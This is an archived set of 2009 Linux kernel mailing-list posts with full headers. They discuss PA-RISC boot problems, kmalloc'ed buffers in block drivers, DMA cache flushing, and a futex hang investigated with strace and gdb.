List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2475
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2475>

On Thu, Dec 17, 2009 at 03:39:02PM -0500, Carlos O'Donell wrote:
> On Thu, Dec 17, 2009 at 2:12 PM, Helge Deller <deller@gmx.de> wrote:
> > I couldn't reproduce on my SMP box either (but it's PA8500 instead =
of
> > PA8700):
> > cpu =A0 =A0 =A0 =A0 =A0 =A0 : PA8500 (PCX-W)
> > model =A0 =A0 =A0 =A0 =A0 : 9000/785/J5000
> > Linux ls3017 2.6.32-32bit #79 SMP Thu Dec 3 14:04:53 CET 2009 paris=
c
> > GNU/Linux
>=20
> Thanks Helge. This was a 64-bit box with SMP. It's possible part of
> the 64-bit kernel is being incorrectly compiled.
>=20
> I am not yet able to boot 2.6.32.
>=20
> I'm getting problems in the initrd while waiting for /dev/sda1 to
> appear, but it never does.

hrm..there is a module option to force SCSI Async scan to complete
before calling into user space. Perhaps that is the problem?

=46WIW, I've been moving all machine to "mount by Label" or UUID.

cheers,
grant


>=20
> Once I resolve that I will see if the testcase works with 2.6.32.
>=20
> Cheers,
> Carlos.
> --
> To unsubscribe from this list: send the line "unsubscribe linux-paris=
c" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Mon, 21 Dec 2009 17:53:00 +0900
Lines: 40
Approved: news@gmane.org
Message-ID: <20091221175137I.fujita.tomonori@lab.ntt.co.jp>
References: <20091217173957.GG2123@thunk.org>
	<20091218091901J.fujita.tomonori@lab.ntt.co.jp>
	<20091218141731.GH2123@thunk.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261385639 17128 80.91.229.12 (21 Dec 2009 08:53:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Dec 2009 08:53:59 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, torvalds@linux-foundation.org,
	kyle@mcmartin.ca, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, James.Bottomley@suse.de,
	hch@infradead.org, linux-arch@vger.kernel.org,
	jens.axboe@oracle.com
To: tytso@mit.edu
Original-X-From: linux-arch-owner@vger.kernel.org Mon Dec 21 09:53:50 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NMe1W-0002Yn-Bm
	for glka-linux-arch@lo.gmane.org; Mon, 21 Dec 2009 09:53:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751257AbZLUIxt (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 21 Dec 2009 03:53:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752571AbZLUIxt
	(ORCPT <rfc822;linux-arch-outgoing>);
	Mon, 21 Dec 2009 03:53:49 -0500
Original-Received: from sh.osrg.net ([192.16.179.4]:33761 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751257AbZLUIxs (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Mon, 21 Dec 2009 03:53:48 -0500
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.14.3/8.14.3/OSRG-NET) with ESMTP id nBL8r08B015604;
	Mon, 21 Dec 2009 17:53:01 +0900
In-Reply-To: <20091218141731.GH2123@thunk.org>
Original-Lines: 40
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Mon, 21 Dec 2009 17:53:03 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.95.3 at sh
X-Virus-Status: Clean
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4917 gmane.linux.ports.parisc:2476 gmane.linux.kernel:930481
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2476>

On Fri, 18 Dec 2009 09:17:32 -0500
tytso@mit.edu wrote:

> On Fri, Dec 18, 2009 at 09:21:30AM +0900, FUJITA Tomonori wrote:
> > 
> > iSCSI initiator driver should work with kmalloc'ed memory.
> > 
> > The reason why iSCSI didn't work with kmalloc'ed memory is that it
> > uses sendpage (which needs refcountable pages). We added a workaround
> > to not use sendpage with kmalloc'ed memory (it would be great if we
> > remove the workaround though).
> 
> Well, with a patch that I plan to be pushing that we have general
> agreement that it is a block device driver BUG not to accept
> kmalloc'ed/SLAB allocated memory, is one where ext4 will use
> kmalloc'ed/slab allocated memory on occasion when it needs to make
> shadow copy of buffers for journalling purposes AND when the fs block
> size is smaller than the page size.  (i.e., no more allocating a 16k
> page when the fs block size is 4k).  So this won't happen all the
> time; even if the case of a 16k Itanium system with 4k blocks, the
> bulk of the data won't be sent via kmalloc'ed memory --- just some
> critical metadata block and some data blocks that need to be escaped
> when being written into the journal.

Actually, ext3 (jbd) sent kmalloc'ed buffer to the block layer for
frozen data. xfs also used kmalloc'ed buffer. Neither do now (so, as
you said above, jbd wastes some memory when the block size is not
equal to page size, I think).


> I do think we need to document that block device drivers are
> _expected_ to be able to handle kmalloc'ed memory,

Agreed.

Note that network block drivers (iSCSI, drbd, something else?) doesn't
play with page ref-counting. They want to use sendpage. The network
layer (sendpage) can't handle non-ref-counted pages. The best solution
for fs and network block drivers might be modifying sendpage to handle
such pages.

From - Thu Nov 08 21:05:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Mon, 21 Dec 2009 11:14:39 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <1261415679.2619.121.camel@mulgrave.site>
References: <20091216043618.GB9104@hera.kernel.org>
	 <20091217132256.GO28962@bombadil.infradead.org>
	 <alpine.LFD.2.00.0912170811130.15740@localhost.localdomain>
	 <20091217163036.GE2123@thunk.org>
	 <alpine.LFD.2.00.0912170839550.15740@localhost.localdomain>
	 <20091217170743.GA10431@infradead.org>
	 <alpine.LFD.2.00.0912170928310.15740@localhost.localdomain>
	 <20091219183305.GA10568@linux-mips.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261415694 20113 80.91.229.12 (21 Dec 2009 17:14:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Dec 2009 17:14:54 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Christoph Hellwig <hch@infradead.org>, tytso@mit.edu,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Jens Axboe <jens.axboe@oracle.com>
To: Ralf Baechle <ralf@linux-mips.org>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Dec 21 18:14:45 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NMlqG-0000Nl-TV
	for glka-linux-arch@lo.gmane.org; Mon, 21 Dec 2009 18:14:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756881AbZLUROo (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 21 Dec 2009 12:14:44 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756911AbZLUROn
	(ORCPT <rfc822;linux-arch-outgoing>);
	Mon, 21 Dec 2009 12:14:43 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:58183 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756881AbZLUROm (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Mon, 21 Dec 2009 12:14:42 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 33B628EE0F1;
	Mon, 21 Dec 2009 09:14:42 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Vgrcf5ArYNyx; Mon, 21 Dec 2009 09:14:42 -0800 (PST)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3FAC38EE0DD;
	Mon, 21 Dec 2009 09:14:41 -0800 (PST)
In-Reply-To: <20091219183305.GA10568@linux-mips.org>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4918 gmane.linux.ports.parisc:2477 gmane.linux.kernel:930617
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2477>

On Sat, 2009-12-19 at 18:33 +0000, Ralf Baechle wrote:
> On Thu, Dec 17, 2009 at 09:42:15AM -0800, Linus Torvalds wrote:
> 
> > 
> > I also think that the changes to bio_map_kernel() and bio_map_kern_endio() 
> > are not just "fundamentally ugly", I think they are made worse by the fact 
> > that it's not even done "right". You both flush the virtual caches before 
> > the IO and invalidate after - when the real pattern should be that you 
> > flush it before a write, and invalidate it after a read.
> > 
> > And I really think that would be all much more properly done at the 
> > _caller_ level, not by the BIO layer.
> > 
> > You must have some locking and allocation etc logic at the caller anyway, 
> > why doesn't _that_ level just do the flushing or invalidation?
> 
> And then there are certain types of caches that need invalidation before
> _and_ after a DMA transaction as a workaround for a processor being
> grossly abused in a system that it should not be used in.  Basically the
> issue is that falsly speculated stores may dirty caches.

Um, so that's just so wrong it doesn't even seem possible.  It would
mean that a speculation could make a line dirty while DMA was in
progress to the underlying memory.  There's always going to be a window
between the DMA completion and the software invalidation where the dirty
line could be flushed, thus corrupting the DMA transfer.

Hopefully steps have been taken to see that whoever thought this was a
good idea isn't still contributing to the gene pool?

James



From - Thu Nov 08 21:05:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: futex wait failure
Date: Tue, 22 Dec 2009 10:03:51 -0500 (EST)
Lines: 53
Approved: news@gmane.org
Message-ID: <20091222150352.120CB516F@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261494247 15999 80.91.229.12 (22 Dec 2009 15:04:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Dec 2009 15:04:07 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 22 16:03:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NN6HG-0002zM-4d
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Dec 2009 16:03:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751244AbZLVPD6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Dec 2009 10:03:58 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752899AbZLVPD6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 22 Dec 2009 10:03:58 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3364 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751244AbZLVPD5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Dec 2009 10:03:57 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 120CB516F; Tue, 22 Dec 2009 10:03:52 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2478
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2478>

I recently update gsyprf11 to the latest debian testing.  I also
tried 2.6.32.2, first SMP, then UP because of /bin/sh segmentation
faults.

I think the /bin/sh segmentation faults are the vfork issue, but
the vfork testcases run successfully on the above.

My first attempt at running the GCC testsuite hung:

dave@gsyprf11:~/gcc-4.5/objdir$ ps -ef|grep dave|grep 18073
dave     18073 18064  2 Dec21 ?        00:11:07 expect -- /usr/share/dejagnu/runtest.exp --tool gfortran
dave     18091 18073  0 02:09 ?        00:00:00 [gfortran] <defunct>

dave@gsyprf11:~/gcc-4.5/objdir$ strace -p 18073
Process 18073 attached - interrupt to quit
futex(0x1c538, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
Process 18073 detached
dave@gsyprf11:~/gcc-4.5/objdir$ strace -p 18091
attach: ptrace(PTRACE_ATTACH, ...): Operation not permitted

This is the backtrace for expect:

0x4039934c in __lll_lock_wait () from /lib/libpthread.so.0
(gdb) bt
#0  0x4039934c in __lll_lock_wait () from /lib/libpthread.so.0
#1  0x4038f9c4 in pthread_mutex_lock () from /lib/libpthread.so.0
#2  0x40b73008 in pthread_mutex_lock () from /lib/libc.so.6
#3  0x4085eeb8 in Tcl_WaitForEvent () from /usr/lib/libtcl8.5.so.0
#4  0x4081ccdc in Tcl_DoOneEvent () from /usr/lib/libtcl8.5.so.0
#5  0x4003d9c4 in exp_get_next_event () from /usr/lib/libexpect.so.5.44.1.14
#6  0x4001c6bc in expRead () from /usr/lib/libexpect.so.5.44.1.14
#7  0x4001eea0 in Exp_ExpectObjCmd () from /usr/lib/libexpect.so.5.44.1.14
...

This is just a guess but I would guess that the gfortran task either
didn't update the futex address, or is blocked from doing so.

libc6 is 2.10.2-2.

This is probably related to the long standing problem with expect
and tcl8.4 and later.  expect-tcl8.3 works better.

Any thoughts?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Tue, 22 Dec 2009 10:52:57 -0500
Lines: 66
Approved: news@gmane.org
Message-ID: <119aab440912220752vf8ea2c1o22d316735b3ddcf6@mail.gmail.com>
References: <20091222150352.120CB516F@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1261497194 26212 80.91.229.12 (22 Dec 2009 15:53:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Dec 2009 15:53:14 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 22 16:53:07 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NN72n-0001h9-Uk
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Dec 2009 16:53:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753678AbZLVPxF convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Dec 2009 10:53:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753705AbZLVPxE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 22 Dec 2009 10:53:04 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:63594 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753678AbZLVPxA convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Dec 2009 10:53:00 -0500
Original-Received: by bwz27 with SMTP id 27so4200660bwz.21
        for <linux-parisc@vger.kernel.org>; Tue, 22 Dec 2009 07:52:57 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=0Z5m8sD5vN50EyzccO1kU4DwV1xdXXOXNIY8fnHAVZw=;
        b=ruMcC35bMwel7sTngXPvXRALWpsarFGM/N6pIWxTS8WhpNx2/mIgRoakWY2q2isbwh
         IuZb1ZnBgG9277zhY6GgoNe8Ycvh6UwKC/quzraHaFdE8+1ilkYYKMmhpO87+jJaf5Zq
         S+4Kk/OWuF5qqANaQlv4NH7Q3Kh1WRWC3vsVo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=CtRx06D7wnM/m1hW+N6yblG+huZU/wJ77Db/pkHlkyZr3nz2XkrlrsSrJktO3+dCRr
         FgtwLxpWQU+EbUerps/J9UACFj0g3hcgGM0CJuHXGSDAHGCrfxHaDhon4guQrxMDXvkw
         5gDzLE363rQwMdDsLVakti2vc6FbD3y0fAoIU=
Original-Received: by 10.204.155.82 with SMTP id r18mr5253319bkw.180.1261497177384; 
	Tue, 22 Dec 2009 07:52:57 -0800 (PST)
In-Reply-To: <20091222150352.120CB516F@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 1f1993dd4785399f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2479
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2479>

On Tue, Dec 22, 2009 at 10:03 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> I recently update gsyprf11 to the latest debian testing. =A0I also
> tried 2.6.32.2, first SMP, then UP because of /bin/sh segmentation
> faults.
>
> I think the /bin/sh segmentation faults are the vfork issue, but
> the vfork testcases run successfully on the above.

That's a shame, the testcase was pretty straight forward. I will try
to update the test case when I have my new kernel running.

> My first attempt at running the GCC testsuite hung:
> dave@gsyprf11:~/gcc-4.5/objdir$ strace -p 18073
> Process 18073 attached - interrupt to quit
> futex(0x1c538, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
> Process 18073 detached
> dave@gsyprf11:~/gcc-4.5/objdir$ strace -p 18091
> attach: ptrace(PTRACE_ATTACH, ...): Operation not permitted
>
> This is the backtrace for expect:
>
> 0x4039934c in __lll_lock_wait () from /lib/libpthread.so.0
> (gdb) bt
> #0 =A00x4039934c in __lll_lock_wait () from /lib/libpthread.so.0
> #1 =A00x4038f9c4 in pthread_mutex_lock () from /lib/libpthread.so.0
> #2 =A00x40b73008 in pthread_mutex_lock () from /lib/libc.so.6
> #3 =A00x4085eeb8 in Tcl_WaitForEvent () from /usr/lib/libtcl8.5.so.0
> #4 =A00x4081ccdc in Tcl_DoOneEvent () from /usr/lib/libtcl8.5.so.0
> #5 =A00x4003d9c4 in exp_get_next_event () from /usr/lib/libexpect.so.=
5.44.1.14
> #6 =A00x4001c6bc in expRead () from /usr/lib/libexpect.so.5.44.1.14
> #7 =A00x4001eea0 in Exp_ExpectObjCmd () from /usr/lib/libexpect.so.5.=
44.1.14
> ...
>
> This is just a guess but I would guess that the gfortran task either
> didn't update the futex address, or is blocked from doing so.
>
> libc6 is 2.10.2-2.
>
> This is probably related to the long standing problem with expect
> and tcl8.4 and later. =A0expect-tcl8.3 works better.
>
> Any thoughts?

You should be looking for the thread (not process) that is supposed to
wake this thread up. It's a private futex, meaning it isn't going to
be shared with any other process. If it is shared, and the wakeup (or
pthread_mutex_unlock) is issued from another thread in another process
then it won't be seen by the thread in this process.

We might have an hppa specific glibc bug related to the futex private f=
lag.

The hppa lowlevellock.h is a copy of the generic version. Perhaps I
need to update our copy to get recent bug fixes from other targets.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Tue, 22 Dec 2009 15:30:59 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <119aab440912221230x1011a218sec9c5a1a07e85800@mail.gmail.com>
References: <20091222164810.DBF3B516F@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1261513875 19370 80.91.229.12 (22 Dec 2009 20:31:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Dec 2009 20:31:15 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 22 21:31:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNBNq-0007Co-Tv
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Dec 2009 21:31:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751290AbZLVUbG convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Dec 2009 15:31:06 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752002AbZLVUbG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 22 Dec 2009 15:31:06 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:47373 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751290AbZLVUbE convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Dec 2009 15:31:04 -0500
Original-Received: by bwz27 with SMTP id 27so4380040bwz.21
        for <linux-parisc@vger.kernel.org>; Tue, 22 Dec 2009 12:31:00 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=ca7H0TfSsxB6Mq36LdbWtHSSr2ojYX9S5uQNf8igrE0=;
        b=H3aE/msTIBQxXhC25zWLRb8BYpZMP1RyEyj7P4OGgAkPKlg3ODskDhFiLcvjcs+ftp
         qiIQM1gE6Romi2EqN/jTrS2BVMwWTSQBCTnG5GBF4OdELEztD6slWPvuz8isIRiwAVnp
         MoQPysX36LW8Seynrq98VhHk8gPQxlLSRSYds=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=ouHTHrK5BktrqhBX1VnQX7+1YeOo5fzrMs1nL5oFV3ZutyVWAtrPwkevFU8N/JbcXh
         +V0iMP0YEbjF8UJwl4mcowTZsG6qCfFyWb2wzbct9Mn9KI9HdbHdD8CUUziFDn4KMdRS
         rhW/Y6Q5LX5FRwJtwZBEZcftGClGGed/EO2cM=
Original-Received: by 10.204.34.10 with SMTP id j10mr5822734bkd.77.1261513860680; Tue, 
	22 Dec 2009 12:31:00 -0800 (PST)
In-Reply-To: <20091222164810.DBF3B516F@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 68efaff99723d79f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2480
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2480>

On Tue, Dec 22, 2009 at 11:48 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> Debian gdb 7.0 provides slightly different backtraces:
>
> (gdb) bt
> #0 =A00x4039934c in __lll_lock_wait (futex=3D0x1c538,
> =A0 =A0private=3D<value optimized out>)
> ...
>
> and
>
> (gdb) bt
> #0 =A00x4038f92c in __lll_mutex_lock (mutex=3D0x1c538)

Any idea why both threads would try to lock the same mutex? This is
never going to work?

I think we need to step back from the edge and ask ourselves what
Tcl_WaitForEvent() is trying to do with the locks.

Do you know?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Tue, 22 Dec 2009 17:05:13 -0500 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <20091222220513.E436C4EA9@hiauly1.hia.nrc.ca>
References: <119aab440912221230x1011a218sec9c5a1a07e85800@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261519525 5393 80.91.229.12 (22 Dec 2009 22:05:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Dec 2009 22:05:25 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 22 23:05:18 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNCqz-0003gs-3e
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Dec 2009 23:05:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751169AbZLVWFR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Dec 2009 17:05:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752527AbZLVWFQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 22 Dec 2009 17:05:16 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3394 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751169AbZLVWFP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
